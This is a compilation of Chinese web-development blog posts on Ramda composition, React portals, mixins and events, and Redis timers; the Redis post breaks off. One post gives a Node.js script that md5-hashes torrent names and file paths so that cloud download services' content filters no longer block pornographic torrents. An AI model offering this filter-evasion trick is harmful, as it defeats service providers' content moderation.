如果你还有其它更好的debug方法和经验，请一定分享出来。不过现在，让我们以Ramda为例，看看在函数式的世界里，问题是如何被解决的：

import R from 'ramda'

var log = R.curry(function (label, value){
    console.log(label, value);
    return value
});

R.compose(
    R.reverse, 
    log('why we need a reverse ?'),
    R.sort(sortFn), 
    R.filter(filterFn), 
    R.uniq
)([1, 1, 3, 4, 2, 'a', -10])
// ->  [1, 4, 3, 2, -10]

R.compose接收一组函数并返回了一个新的函数，而数据就像经过一条逻辑流水线一样，从最后一个函数，一步步地向前接受处理。

R.sort(fn, data)和R.filter(fn, data)都是curry函数，你应该已经注意到它们和lodash的同名函数有所不同——参数顺序是相反的。这就是curry与compose协同工作的奥秘：compose通常只能针对一元函数，而curry则使得多元函数可以一元化。

函数curry化，并把可变性高复用性低的参数后置，是函数式库的特征之一，也是写自定义函数时需要注意的地方。我们的log函数就遵循了这一点。

组合相比链式最大的优势，是函数可以自由而专注：不再受原型链的约束，也不再看this的脸色。对比之前的log函数，现在的版本没有了多余的解包与封包，也不再依赖this——现在它是一个纯函数。

很多人会用_而不是R作为ramda的变量名，我们接下来也会这样

关于组合更多的内容，还是强烈建议移步《Mostly Adequate Guide》的 第 5 章: 代码组合



应用实践

在大致了解了函数组合后，让我们继续前面事件响应的例子，先回顾一下，之前我们用curry改写了setField函数，得到setFieldOnContext：

const setFieldOnContext = _.curry(function(context, key, e){
    context.setState({
        [key]: e.target.value
    })
});

class Form extends React.Component{
    render(){
        const {name, address} = this.state;
        const setField = setFieldOnContext(this);
        return (
            <form>
                <input 
                    value={name}
                    onChange={setField('name')} 
                    />
                <input 
                    value={address}
                    onChange={setField('address')} 
                    />
            </form>
        )
    }
}

setFieldOnContext函数已经能帮我们节省一些重复代码，就像它的前辈setField一样，然而它的职责还分离得不够干净：对e.target.value的依赖使得它只能处理原生事件对象。假设我们有一些第三方组件（比如接下来会遇到的X组件），它们的onChange抛出了并不标准的事件对象，甚至可能直接把value扔了出来。看起来setFieldOnContext有些不从心，难道我们只能回到复制--粘贴--修改的怀抱吗？是时候借用组合的力量了：

import _ from 'ramda'

const getValueFromEvent = function(e){
    return e.target.value;
};
const getValueFromX = function(x){
    return x.value
}
const setFieldOnContext = _.curry(function(context, key, value){
  context.setState({
    [key]: value
  })
});

class Form extends React.Component{
    render(){
        const {name, x} = this.state;
        const setField = setFieldOnContext(this);
        return (
            <form>
                <input
                value={name}
                onChange={_.compose(setField('name'), getValueFromEvent)}
                />
                  <X
                value={address}
                onChange={_.compose(setField('address'), getValueFromX)}
                />
            </form>
        )
    }
}


完整代码 step_3

借助compose，我们的函数职责更加分离，setField只关心设值，对值的转换则由其它函数负责，虽然目前实现的版本用起来还有一些啰嗦，但我们得到了三个关注点（职责）高度分离的、可复用的函数。

在接着讨论前，让我们先统一一下用词，下面我会把getValueFromEvent 和getValueFromX  这样的值转换函数称作valueAdapter，正如它们的角色（适配器模式中的适配器）一样。

刚刚的代码之所以啰嗦，问题出在参数顺序和复用度不一致。

_.compose(..., valueAdapter)其本质是对一类事件进行适配，而我们把它放在参数最后，这导致适配的工作落在了每一次事件声明上。随着项目的发展，情况会是这样：

<form>
    <input
        value={name}
        onChange={_.compose(setField('foo'), getValueFromEvent)}
        />
    <input
        value={name}
        onChange={_.compose(setField('bar'), getValueFromEvent)}
        />
    <input
        value={name}
        onChange={_.compose(setField('baz'), getValueFromEvent)}
        />
    <input
        value={name}
        onChange={_.compose(setField('baa'), getValueFromEvent)}
        />
    <input
        value={name}
        onChange={_.compose(setField('zzz'), getValueFromEvent)}
        />
</form>


满眼的getValueFromEvent，完全背离了我们抽象出valueAdapter的初衷！

这重申了curry的要点：通常我们会按照复用程度从高到低地排列参数，比如在同一个组件中，context的复用度最高，而key则次之，event没有复用度——每个事件源都是单独的。至于valueAdapter们，它们的复用范围是一类组件。因此，在上例中我们更希望得到一个参数顺序类似于fn(valueAdapter, context, key, event)的函数。

下面是封装一层函数做参数顺序转换然后curry化的简单实现：

import _ from 'ramda'

const getValueFromEvent = function(e){
    return e.target.value;
};
const getValueFromX = function(x){
    return x.value
}
const setFieldOnContext = _.curry(function(context, key, value){
  context.setState({
    [key]: value
  })
});

const getFieldSetter= _.curry(function(valueAdapter, context, name){
    //返回真正的event handler
    return _.compose(setFieldOnContext(context, name), valueAdapter);
});

const setFieldForEvent = getFieldSetter(getValueFromEvent);

const setFieldForX = getFieldSetter(getValueFromX);

React.createClass({
    render(){
        const {name, x} = this.state;
        return (
            <form>
                <input 
                    value={name}
                    onChange={setFieldForEvent(this, 'name')} 
                    />
                <X 
                    value={x}
                    onChange={setFieldForX(this, 'x')} 
                    />
            </form>
        )
    }
})


完整代码 step_4

数一数，我们一下子有了六个函数！或许你会为此感到不安：是不是弄错了什么？

不必担心，仔细看看，这六个函数都有各自的复用价值，随着项目的发展和膨胀，响应事件值的需求随处可见，而重复的代码和逻辑会慢慢蚕食可维护性。把高度解耦的函数们（比如valueAdapter们）组合起来，会让我们更轻松的应对挑战。

还有一点，上面六个函数中有五个都是纯函数！除了setFieldOnContext，每个函数的输入输出都是唯一映射的（虽然有的输出是函数），没有依赖外部状态，也没有任何的副作用。

追求纯函数有时候会比较困难，但它是值得的，如果你的函数依赖了this，或者其它外部状态，那最好重新审视你的代码——至少把不安全的依赖剥离到最小范围。setFieldOnContext就是个例子，借助context变量而不是this，我们可以不用在意compose出来的event handler的this是谁，如何传递。自由组合函数的前提，就是它们不管在哪儿都始终如一。尽管React的setState返回undefined导致setFieldOnContext不能成为纯函数，我们也尽力让它更加接近这一目标

当然这一版本的实现仍不完美：setFieldOnContext把值直接设到了state的属性上，有时候这并不是我们想要的结果。在此我先不给出实现，留给看官思考和动手。

补充：我的实现见 代码step_5 , 感谢 Young 的建议与启发



下一篇，我会借助Promise这个老面孔来介绍Functor和Monad——这两个你甚至没有见过，却无处不在的概念。

本文原载于我的Github，转载请注明出处




 React中的Portal组件

作者：leozdgao

来源： React中的Portal组件



                    
这可以在这里看：http://leozdgao.me/reactzhong-de-portalzu-jian/

几个月前遇到了写模态窗（modal）的需求，当初其实没什么思路，不知道怎么用更React的方式实现模态窗，于是去学习了下ReactBootstrap的源代码，发现了一个Portal组件，通过这个Portal的概念实现了React式的模态窗，诸如tooltip或者是notification等组件也是同样的道理。最近在看React-conf的视频时又听到Ryan提到，最近重新回去看ReactBootstrap的源代码，发现其实变化挺大的，原先Portal的部分已经被抽象出了另一个库react-overlays，于是准备总结下这个部分。

模态窗的实现思路

模态窗扮演这相当于桌面应用的MessageBox的角色，各个浏览器对这个部分的支持有些缺陷（这里指alert或confirm这些），比如每个浏览器实现效果有差异、用户可以禁止其显示，还有最重要的是没有办法灵活控制。

于是我们自己来实现，要扮演一个MessageBox，那么我们希望一个modal应该是永远被置于顶层的，而又由于Stacking Context的关系（在此不赘述），我们会将modal直接append在body元素下，设置一个属于它的z-index区间什么的。

回到React，在React中要实现一个模态窗，可以是这样的：

handleClick () {
   $('.modal').modalShow() // 假设这是一个jquery的modal插件
}

我不知道是不是存在这样一个jquery插件（应该是有的，不过我jquery用的不多），不过大家应该明白我的意思，利用React对其他库的友好来曲线救国。

另外的一种方式是实现一个Modal类，通过Modal.show()这样的方法调用，这个方法会负责将模态窗render在它应该出现的地方，这个思路我一开始也有想到，不过自己其实更倾向于尝试声明式的React组件实现。

那么实现React式的模态窗会遇到什么问题呢？比如有一个Container组件（承载页面结构和业务逻辑的组件），在页面的逻辑中会有一个modal弹出来，那么我们希望声明式的写法是这样的：

<div>
  <button>Show</button>
  {/* portals */}
  <Modal isShowed={this.state.modalShowed}>
    <p>Modal showed</p>
  </Modal>
</div>

这里存在的问题就是Stacking Context，对于一个通用组件而言没有办法保证上下文的样式，于是就要讲讲这个Portal组件。

什么是Portal组件

所以我们需要的一个通用组件，它做如下的事情：


	可以声明式的写在一个组件中


	并不真正render在被声明的地方


	支持过渡动画




那么，像modal、tooltip、notification等组件都是可以基于这个组件的。我们叫这个组件为Portal。

Portal这个东西我不知道怎么给它一个合适的中文名，最初是在ReactBootstrap的项目里看到，之后React-conf又提到，那么相信应该是一个通用的概念了，由于这个组件并不真正render在它被声明的地方，姑且就翻译为『传送门』吧......

实现一个Portal组件

首先，由于它并不真正render在被声明的地方，那么：

render () {
  return null
}

恩，是的，没有办法在render方法里做文章，直接让它返回null即可，它会在被声明处留下一个noscript标签，无所谓了。

那么真正的render是在哪里进行的呢？我们先准备下_renderOverlay这个方法：

_renderOverlay() {
  let overlay = !this.props.children ? null : 
    React.Children.only(this.props.children)

  if (overlay !== null) {
    this._mountOverlayTarget()
    // Save reference for future access.
    this._overlayInstance = React.render(overlay, this._overlayTarget)
  } else {
    // Unrender if the component is null for transitions to null
    this._unrenderOverlay()
    this._unmountOverlayTarget()
  }
}

我们把Portal的唯一子组件作为是要一个遮罩物（overlay），要承载这个遮罩物，我们需要一个DOM容器，于是我们在_mountOverlayTarget 方法里创建一个div，也就是this._overlayTarget，于是调用React.render方法将组件挂载到这个div节点上，并将保持对该实例的引用this._overlayInstance。

通常情况下，对于React组件来说，不直接操作DOM，而且React.render方法我们通常都是在入口点调用一次，其他时候基本不用，然而对于Portal组件来说，这两点都是必要的。

相应的unrender的部分，比较简单，分别释放this._overlayTarget和this._overlayInstance：

_unmountOverlayTarget() {
  if (this._overlayTarget) {
    this.getContainerDOMNode().removeChild(this._overlayTarget)
    this._overlayTarget = null
  }
}

_unrenderOverlay() {
  if (this._overlayTarget) {
    React.unmountComponentAtNode(this._overlayTarget)
    this._overlayInstance = null
  }
}

好了，那么我们需要在何处调用_renderOverlay呢，很容易想到:

componentDidMount () {
  this._renderOverlay()
}

componentDidUpdate () {
  this._renderOverlay()
}

然后记得要擦屁股：

componentWillUnmount() {
  this._unrenderOverlay();
  this._unmountOverlayTarget();
}

为了增加Portal的灵活性，可以给它传一个container属性，用来指定『传送门』的位置（默认为body元素）。

实现上其实基本上就是这样了，这里要简单提一下，之前就ReactBootstrap对Portal组件的实现而言，把isShowed的逻辑给加在Portal里，增加了一些实现的复杂度，这个项目好像重构过一波，现在的实现中isShowed的逻辑被移出去了，Portal仅用于充当『传送门』的角色，那么以Modal为例：

render () {
  if (this.props.isShowed) {
    return (
      <Portal>
        <div>
          <div className='modal'>{this.props.children}</div>
          <div className='backdrop'></div>
        </div>
      </Portal>
    )
  }
  else return null
}

感觉这样的设计确实比之前更科学，而这个部分也被单独抽象到了react-overlays中。

过渡动画

并不想在Portal组件里再额外加入动画相关的逻辑了，于是准备再封装一层，加上对过渡动画的支持。

提供几个思路，一个是通过操作classname，这里以模态窗为例，先上代码：

componentWillReceiveProps (nextProps) {
  const { show } = nextProps
  if (!show && this.props.show && this.props.closeTimeout) { // ready to close
    this.setState({ delaying: true, closing: true, opened: false })
    setTimeout(() => {
      this.setState({ delaying: false, closing: false })
    }, this.props.closeTimeout)
  }
}

componentDidUpdate (prevProps, prevState) {
  const { show } = prevProps
  if (!show && this.props.show) { // first show
    setTimeout(() => { // need do it in next loop
      this.setState({ opened: true })
    })
  }
}

分别在合适的时机加上相应的class即可，对于show这个动作来说没什么问题，但对于close而言，显然我们需要等到transition的过渡时间结束后才真正unrender我们的组件，于是我们给它一个可传入的属性叫closeTimeout，并在组件内具有一个this.state.delaying这个状态，那么我们的render逻辑应该是这样的：

if (this.props.show || this.state.delaying) {
  return (
    <Portal>
      <div className={classnames([ 
       'modal',
       { opened: this.state.opened,
         closing: this.state.closing }
      ])}>
        {this.props.children}
      </div>
    </Portal>
  )
}
else {
  return null
}

再灵活一点就是自定义opened和closing的classname了，这里不赘述。

这是一种方法，不过动画的部分不怎么React式，是的，React动画又是另一块内容了，这里不会详述，因为似乎还不怎么成熟，不过还是给出一些可供参考的库吧：


	Timeout Transition Group


	react-motion




简单地贴点代码：

render () {
  return (
    <Portal>
      <TimeoutTransitionGroup
        enterTimeout={200}
        leaveTimeout={250}
        transitionName='modal-anim'>
        {this.props.isShowed ? 
          (<div className='modal'>
            {this.props.children}
           </div>) : null}
      </TimeoutTransitionGroup>
    </Portal>
  )
}

当然这里的是否需要transition、timeout以及transitionName都应该是可配置的，作为示例代码就简单点写了。

最后

推荐大家看看react-overlays，可以直接使用里面的Portal实现还有一些其他有用的通用组件，文档在这里。或者其实有一个单独的react-modal的实现也可以直接用。

好了，结束了。


 『译』React Mixin 的使用

作者：MockingBird

来源： 『译』React Mixin 的使用



                    
我使用 React.js 构建大型项目已经有一段时间了，我遇到过很多在不同的组件中都要用到相同功能的情况。因此，我花了一个小时左右的时间去了解mixin的用法，然后分享我所学习到的一些东西。


为什么使用 Mixin ？


React回避子类组件，但是我们知道，到处重复地编写同样的代码是不好的。所以为了将同样的功能添加到多个组件当中，你需要将这些通用的功能包装成一个mixin，然后导入到你的模块中。 可以说，相比继承而已，React更喜欢这种组合的方式。嗯，我也喜欢这样。


写一个简单的 Mixin


现在假设我们在写一个app，我们知道在某些情况下我们需要在好几个组件当中设置默认的name属性。

现在，我们不再是像以前一样在每个组件中写多个同样的getDefaultProps方法，我们可以像下面一样定义一个mixin：


javascriptvar DefaultNameMixin = {
    getDefaultProps: function () {
        return {name: "Skippy"};
    }
};



它没什么特殊的，就是一个简单的对象而已。


加入到 React 组件中


为了使用mixin，我们只需要简单得在组件中加入mixins属性，然后把刚才我们写的mixin包裹成一个数组，将它作为该属性的值即可：


javascriptvar ComponentOne = React.createClass({
    mixins: [DefaultNameMixin],
    render: function() {
    return 

<h2>Hello {this.props.name}</h2>

;
    }
});

React.renderComponent(<ComponentOne />, document.body);



JSFiddle 示例：一个简单的 mixin 例子


重复使用


就像你想象的那样，我们可以在任何其他组件中包含我们的mixin：


javascriptvar ComponentTwo = React.createClass({
    mixins: [DefaultNameMixin],
    render: function () {
        return (
            <div>
                <h4>{this.props.name}</h4>
                <p>Favorite food: {this.props.food}</p>
            </div>
        );
    }
});



JSFiddle 示例：在多个组件中使用同一个 mixin


生命周期方法会被重复调用！


如何你的mixin当中包含生命周期方法，不要焦急，你仍然可以在你的组件中使用这些方法，而且它们都会被调用：


JSFiddle 示例：展示了两个 default props 都会被设置


两个getDefaultProps方法都将被调用，所以我们可以得到默认为Skippy的name属性和默认为Pancakes的food属性。任何一个生命周期方法或属性都会被顺利地重复调用，但是下面的情况除外：



	
render：包含多个render方法是不行的。React 会跑出异常：



plainUncaught Error: Invariant Violation: ReactCompositeComponentInterface: 
You are attempting to define `render` on your component more than once. 
This conflict may be due to a mixin.




	
displayName：你多次的对它进行设置是没有问题的，但是，最终的结果只以最后一次设置为准。



需要指出的是，mixin是可以包含在其他的mixin中的：


javascriptvar UselessMixin = {
    componentDidMount: function () {
      console.log("asdas");
    }
};

var LolMixin = {
   mixins: [UselessMixin]
};

var PantsOpinion = React.createClass({
   mixins: [LolMixin],
   render: function () {
       return (

<p>I dislike pants</p>

);
   }
});

React.renderComponent(<PantsOpinion />, document.body);



程序会在控制台打印出asdas。


包含多个 Mixins


我们的mixins要包裹在数组当中，提醒了我们可以在组件中包含多个mixins：


javascriptvar DefaultNameMixin = {
    getDefaultProps: function () {
        return {name: "Lizie"};
    }
};

var DefaultFoodMixin = {
    getDefaultProps: function () {
        return {food: "Pancakes"};
    }
};

var ComponentTwo = React.createClass({
    mixins: [DefaultNameMixin, DefaultFoodMixin],
    render: function () {
        return (


<div>
                <h4>{this.props.name}</h4>
                <p>Favorite food: {this.props.food}</p>
            </div>


        );
    }
});




注意事项


这里有几件事需要引起我们的注意，当我们使用mixins的时候。 幸运地是，这些看起来并不是什么大问题，下面是我们在实践当中发现的一些问题：


设置相同的 Prop 和 State


如果你尝试在不同的地方定义相同的属性时会出现下面的异常：


plainUncaught Error: Invariant Violation: mergeObjectsWithNoDuplicateKeys(): 
Tried to merge two objects with the same key: name



设置相同的方法


在不同的mixin中定义相同的方法，或者mixin和组件中包含了相同的方法时，会抛出异常：


javascriptvar LogOnMountMixin = {
    componentDidMount: function () {
        console.log("mixin mount method");
        this.logBlah()
    },
    // add a logBlah method here...
    logBlah: function () {
        console.log("blah");
    }
};

var MoreLogOnMountMixin = {
    componentDidMount: function () {
        console.log("another mixin mount method");
    },
    // ... and again here.
    logBlah: function () {
        console.log("something other than blah");
    }
};



异常信息同多次定义rander方法时抛出的异常一样：


plainUncaught Error: Invariant Violation: ReactCompositeComponentInterface: 
You are attempting to define `logBlah` on your component more than once. 
This conflict may be due to a mixin.



多个生命周期方法的调用顺序


如果我们的组件和mixin中都包含了相同的生命周期方法的话会怎样呢？



  我们的mixin方法首先会被调用，然后再是组件的中方法被调用。




那当我们的组件中包含多个mixin，而这些mixin中又包含相同的生命周期方法时，调用顺序又是如何？



  它们会根据mixins中的顺序从左到右的进行调用。




实例代码：


javascriptvar LogOnMountMixin = {
    componentDidMount: function () {
        console.log("mixin mount method");
    }
};

var MoreLogOnMountMixin = {
    componentDidMount: function () {
        console.log("another mixin mount method");
    }
};
var ComponentOne = React.createClass({
    mixins: [MoreLogOnMountMixin, LogOnMountMixin],
    componentDidMount: function () {
        console.log("component one mount method");
    },
    ...

var ComponentTwo = React.createClass({
    mixins: [LogOnMountMixin, MoreLogOnMountMixin],
    componentDidMount: function () {
        console.log("component two mount method");
    },
    ...




控制台将输出：


plainanother mixin mount method
mixin mount method 
component one mount method

mixin mount method
another mixin mount method 
component two mount method



总结


Mixin 使你React程序变得更为可重用，It's a Good Thing.

我希望这篇文章能够对你有所帮助，如果有任何反馈，很高兴你能够在twitter上@veddermatic



  原文链接：http://simblestudios.com/blog/development/react-mixins-by-example.html

  翻译水平有限，文中带有个人理解，如有不恰当的地方，请在评论中指出，非常感谢！




 前端之React实战-交互与动态UI

作者：王下邀月熊_Chevalier

来源： 前端之React实战-交互与动态UI



                    
Interactivity and Dynamic UIs

React.findDOMNode()

组件并不是真实的 DOM 节点，而是存在于内存之中的一种数据结构，叫做虚拟 DOM （virtual DOM）。只有当它插入文档以后，才会变成真实的 DOM 。根据 React 的设计，所有的 DOM 变动，都先在虚拟 DOM上发生，然后再将实际发生变动的部分，反映在真实 DOM上，这种算法叫做 DOM diff ，它可以极大提高网页的性能表现。但是，有时需要从组件获取真实 DOM 的节点，这时就要用到 React.findDOMNode 方法。

var MyComponent = React.createClass({
  handleClick: function() {
    React.findDOMNode(this.refs.myTextInput).focus();
  },
  render: function() {
    return (
      <div>
        <input type="text" ref="myTextInput" />
        <input type="button" value="Focus the text input" onClick={this.handleClick} />
      </div>
    );
  }
});

React.render(
  <MyComponent />,
  document.getElementById('example')
);


需要注意的是，由于 React.findDOMNode 方法获取的是真实 DOM ，所以必须等到虚拟 DOM 插入文档以后，才能使用这个方法，否则会返回 null 。上面代码中，通过为组件指定 Click 事件的回调函数，确保了只有等到真实 DOM 发生 Click 事件之后，才会调用 React.findDOMNode 方法。

getInitialState

设置State的初始状态。

var MyComponent = React.createClass({
    getInitialState: function(){
        return {
            count: 5
        }
    },
    render: function(){
        return (
            <h1>{this.state.count}</h1>
        )
    }
});


Style


参考资料

	React行内样式最佳实践






Inline-style

在React中，如果要使用行内元素，不可以直接使用style="”这种方式，可以有：

import React from 'react';

var style = {
  backgroundColor: '#EEE'
};

export default React.createClass({
  render: function () {
    return (
      <div style={style}>
      //或者<div style={{backgroundColor: '#EEE'}}>
        <h1>Hello world</h1>
      </div>
    )
  }
});

可以看出，React的style属性接收的也是一个JavaScript对象。

Class

你可以根据这个策略为每个组件创建 CSS 文件，可以让组件名和 CSS 中的 class 使用一个命名空间，来避免一个组件中的一些 class 干扰到另外一些组件的 class。

app/components/MyComponent.css

.MyComponent-wrapper {
  background-color: #EEE;
}

app/components/MyComponent.jsx

import './MyComponent.css';
import React from 'react';

export default React.createClass({
  render: function () {
    return (
      <div className="MyComponent-wrapper">
        <h1>Hello world</h1>
      </div>
    )
  }
});

Multiple Class

上文中提及的利用className方式赋值，如果在存在多个类名的情况下：

render: function() {
  var cx = React.addons.classSet;
  var classes = cx({
    'message': true,
    'message-important': this.props.isImportant,
    'message-read': this.props.isRead
  });
  // same final string, but much cleaner
  return <div className={classes}>Great, I'll be there.</div>;
}

Event

React对于事件的支持非常完善，可以查看这里。React 实现了一个“合成事件”层（synthetic event system），这个事件模型保证了和 W3C 标准保持一致，所以不用担心有什么诡异的用法，并且这个事件层消除了 IE 与 W3C 标准实现之间的兼容问题。“合成事件”额外提供了两个好处：自动绑定上下文和事件委托


	“合成事件”自动将事处理件方法的上下文绑到当前组件，所以 handleClick 方法里面可以直接使用this.setState。


	“合成事件”会以事件委托（event delegation）的方式绑定到组件最上层，并且在组件卸载（unmount）的时候自动销毁绑定的事件。




当然，在React中，也可以使用原生事件，比如你在 componentDidMount 方法里面通过 addEventListener 绑定的事件就是浏览器原生事件。使用原生事件的时候注意在 componentWillUnmount 解除绑定 removeEventListener。所有通过 JSX 这种方式绑定的事件都是绑定到“合成事件”，除非你有特别的理由，建议总是用 React 的方式处理事件。

Event Bind

最基本的绑定方式就是依靠类似于onClick={handleClick}的方式，要注意，这里不同于ng-click，onClick传递的参数只能是一个方法，而不能是一个调用。如果要简单来写的话可以采Lambda表达式的方式：

onClick={()=>{alert(1);}}

Event Params

给事件处理函数传递额外参数的方式：bind(this, arg1, arg2, ...)

render: function() {
    return <p onClick={this.handleClick.bind(this, 'extra param')}>;
},
handleClick: function(param, event) {
    // handle click
}

由上面可以看出，Event一般都是作为最后一个参数传递到handleClick中，这里的event是SyntheticEvent对象，它的主要属性如下：

boolean bubbles
boolean cancelable
DOMEventTarget currentTarget
boolean defaultPrevented
number eventPhase
boolean isTrusted
DOMEvent nativeEvent
void preventDefault()
void isDefaultPrevented()
void stopPropagation()
void isPropagationStopped()
DOMEventTarget target
number timeStamp
string type

List Element

在React中，也会经常遇到需要为某个群组绑定事件的情况，可以参考如下代码：

var GroceryList = React.createClass({
  handleClick: function(i) {
    console.log('You clicked: ' + this.props.items[i]);
  },
  render: function() {
    return (
      <div>
        {this.props.items.map(function(item, i) {
          return (
            <div onClick={this.handleClick.bind(this, i)} key={i}>{item}</div>
          );
        }, this)}
      </div>
    );
  }
});
React.render(
  <GroceryList items={['Apple', 'Banana', 'Cranberry']} />, mountNode
);

TouchEvent

If you'd like to use React on a touch device such as a phone or tablet, simply call React.initializeTouchEvents(true); to enable touch event handling.

接口暴露

譬如在某个子组件中，提供了某个方法：

var ButtonComponent = React.createClass({
    getDragonKillingSword: function(){
        //送宝刀
    },
    render: function(){
        return (<button onClick={this.getDragonKillingSword}>屠龙宝刀，点击就送</button>);
    }
});

如果在父组件中想手动调用该方法，则可以利用ref方式：

var ImDaddyComponent = React.createClass({
  render: function(){
    return (
      <div>
        //其他组件
        <ButtonComponent />
        //其他组件
      </div>
    );
  }
});

在父组件的功能方程中：

this.refs.getSwordButton.getDragonKillingSword();

反之，如果需要在子组件中调用父组件的方法，则可以直接将父组件的方法作为Props参数传入到子组件中：

<ButtonComponent clickCallback={this.getSwordButtonClickCallback}/>

Ajax

组件的数据来源，通常是通过 Ajax 请求从服务器获取，可以在componentDidMount 方法中设置 Ajax 请求，等到请求成功，再用 this.setState 方法重新渲染 UI。

    var UserGist = React.createClass({
      getInitialState: function() {
        return {
          username: '',
          lastGistUrl: ''
        };
      },

      componentDidMount: function() {
        $.get(this.props.source, function(result) {
          var lastGist = result[0];
          if (this.isMounted()) {
            this.setState({
              username: lastGist.owner.login,
              lastGistUrl: lastGist.html_url
            });
          }
        }.bind(this));
      },

      render: function() {
        return (
          <div>
            {this.state.username}'s last gist is
            <a href={this.state.lastGistUrl}>here</a>.
          </div>
        );
      }
    });

    React.render(
      <UserGist source="https://api.github.com/users/octocat/gists" />,
      document.body
    );

不过笔者习惯还是将整个获取数据，处理数据的业务逻辑放在Angular中进行。
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 Node.js 清洗万恶的种子

作者：ac黄

来源： Node.js 清洗万恶的种子



                    
万恶的种子

torrent文件，又被称为种子，原来只是用于记录 bt下载当中所需信息的一种文件。但是随着互联网的极大发展，一些人士将一些邪恶的信息注入到了小小的 torrent文件当中，种子从此变成了邪恶的代名词。

2012 年，一部名为 ABS-130 的日本影片引起了网络的震动，网络上纷纷出现了 “当初求种像条狗，如今*完嫌人丑”的现象，成为了 2012 年互联网的一件大事件。

2014年，净网行动如火如荼地进行，各大互联网公司都作出了表率，一时之间XX云、X雷都把万恶的种子拒之门外。净网行动万岁！！（还我苍老师！！）

各大网盘、下载应用都从种子当中提取关键信息，将种子拒之门外。这些关键信息究竟藏在哪里？让我们一探究竟。

种子文件结构

以下内容来自维基百科

.torrent种子文件本质上是文本文件，包含Tracker信息和文件信息两部分。Tracker信息主要是BT下载中需要用到的Tracker服务器的地址和针对Tracker服务器的设置，文件信息是根据对目标文件的计算生成的，计算结果根据BitTorrent协议内的Bencode规则进行编码。它的主要原理是需要把提供下载的文件虚拟分成大小相等的块，块大小必须为2k的整数次方（由于是虚拟分块，硬盘上并不产生各个块文件），并把每个块的索引信息和Hash验证码写入种子文件中；所以，种子文件就是被下载文件的“索引”。





上图是一个典型种子的结构，那些被识别出来的邪恶关键字就藏在 name 和 file 当中。name 包含了该种子的名字，如：abcd-123 性感XXXX。而 file 当中的 path 则包含了要下载的所有文件的信息，如：草X社区最新地址.txt等等。

Node.js 和 parse-torrent 库

为了寻找出种子当中的邪恶信息我们请出了 Node.js 和 parse-torrent库 作为助手。

实验准备：


	种子一枚


	安装 Node.js 电脑一台




首先我们利用 npm 安装 parse-torrent 库，它帮助我们快速找到种子内的信息。

npm install parse-torrent

var fs = require("fs");
var parseTorrent = require('parse-torrent');

var info = parseTorrent(fs.readFileSync('my.torrent'));
console.log(info);

这个库会将种子的信息解析出来，以对象的形式返回给我们。

查看结果：

name:



files:



可以看到用 parse-torrent 库解析出来的 name 和 files 的信息都是以 Buffer 形式存储。

清洗种子

如何将种子里的邪恶信息清洗掉，把万恶的种子扼杀在摇篮之中，最重要的就算要清除调 name 和 files 里面 path 的信息。

function cleanInfo (info) {
    // 将种子名用 md5 加密
    info.name = md5(info.name);
    info['name.utf-8'] = md5(info['name.utf-8']);
    var files = info.files;
    for (var i = 0; i < files.length; i++) {
        var file = files[i];
        for (var key in file) {
            if (key == "path" || key == "path.utf-8") {
                for (var j = 0; j < file[key].length; j++) {
                    var text = file[key][j].toString();
                    var dotIndex = text.lastIndexOf(".");
                    // 将种子名用 md5 加密
                    file[key][j] = md5(text.slice(0,dotIndex)) + text.slice(dotIndex,text.length);
                }
            }
        }
    }
    return info;
}

// 将清洗干净后的 info 对象重新生成一个 torrent 文件
var buf = parseTorrent.toTorrentFile({
    info: cleanInfos[i]
});
fs.writeFile(dir + "/" + cleanInfos[i].name + ".torrent", buf);

经过这样之后，我们的邪恶种子文件就变成这样了：



实战阶段

首先准备一个种子，进行XX云的离线下载。



一开始它是被拒绝的。



然后运行脚本进行清洗。

node cleanTorrent IPTD-XXX.torrent

下载成功了！



脚本源码放在这里了，要去看一下我的下载内容了！！！





（**都脱了你给我看这个！！！）

最后

本文纯属技术讨论，感谢你的阅读，有不足之处请为我指出。

本文同步于我的个人博客 http://blog.acwong.org/2015/03/25/clean-your-torrent-with-node/




 Node.js 中使用 Redis 来实现定时任务

作者：XadillaX
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  原文链接：http://xcoder.in/2015/06/05/scheduled-task-using-redis/




好久没写博文了，最近在跟随着公司大牛们的脚步秘密研发新产品中。


不过前几天有一个小需求的东西可以提出来写一点点小干货儿跟大家分享分享。米娜桑会的就可以忽略了，反正我也是随便写的；如果觉得本文对你有用的话还请多多支持喵。(●´ω｀●)ゞ


序


本文所说的定时任务或者说计划任务并不是很多人想象中的那样，比如说每天凌晨三点自动运行起来跑一个脚本。这种都已经烂大街了，随便一个 Crontab 就能搞定了。


这里所说的定时任务可以说是计时器任务，比如说用户触发了某个动作，那么从这个点开始过二十四小时我们要对这个动作做点什么。那么如果有 1000 个用户触发了这个动作，就会有 1000 个定时任务。于是这就不是 Cron 范畴里面的内容了。


举个最简单的例子，一个用户推荐了另一个用户，我们定一个二十四小时之后的任务，看看被推荐的用户有没有来注册，如果没注册就给他搞一条短信过去。Σ>―(〃°ω°〃)♡→


最初的设想


一开始我是想把这个计时器做在内存里面直接调用的。


考虑到 Node.js 的定时并不是那么准确（无论是 setTimeout 还是 setInterval），所以本来打算自己维护这个定时器队列。


又考虑到 Node.js 原生对象比较耗内存。之前我用 JSON 对象存了一本字典，约十二万多的词条，原文件大概也就五六兆，用 Node.js 的原生对象一存居然有五六百兆的内存占用——所以打算这个定时器队列用 C++ 来写 addon。


考虑到任何时候插入的任务都有可能在已有的任务之前或者之后，所以本来想用 C++ 来写一个小根堆。每次用户来一个任务的时候就将这个任务插入到堆中。


如果按照上述方法的话，再加上对时间要求掐得也不是那么紧，于是就是一个不断的 process.nextTick() 的过程。


在 process.nextTick() 当中执行这么一个函数：



	从小根堆中不断获取堆顶的任务并处理，一直处理到堆顶任务的执行时间大于当前时间为止。

	继续 process.nextTick() 来让下一个 tick 执行步骤 1 中的流程。



所以最后就是一边往小根堆插入任务，另一边通过不断 process.nextTick() 消费任务的这么一个过程。


最后，为了考虑到程序重启的时候内存数据会丢失，还应该做一个持久化的事情——在每次插入任务的时候顺便往持久化中间件中插一条副本，比如 MySQL、MongoDB、Redis、Riak 等等任何三方依赖。消费任务的时候顺便把中间件中的这条任务数据给删除。


也就是说中间件中永远存的就是当前尚未完成的任务。每当程序重启的时候都先从中间件中把所有任务读取进来重建一下堆，然后就能继续工作了。



  如果当时我没有发现 Redis 的这个妙用的话，上述的流程将会是我实现我们定时任务的流程了。




Redis 妙用


在 Redis 的 2.8.0 版本之后，其推出了一个新的特性——键空间消息（Redis Keyspace Notifications），它配合 2.0.0 版本之后的 SUBSCRIBE 就能完成这个定时任务的操作了，不过定时的单位是秒。


Publish / Subscribe


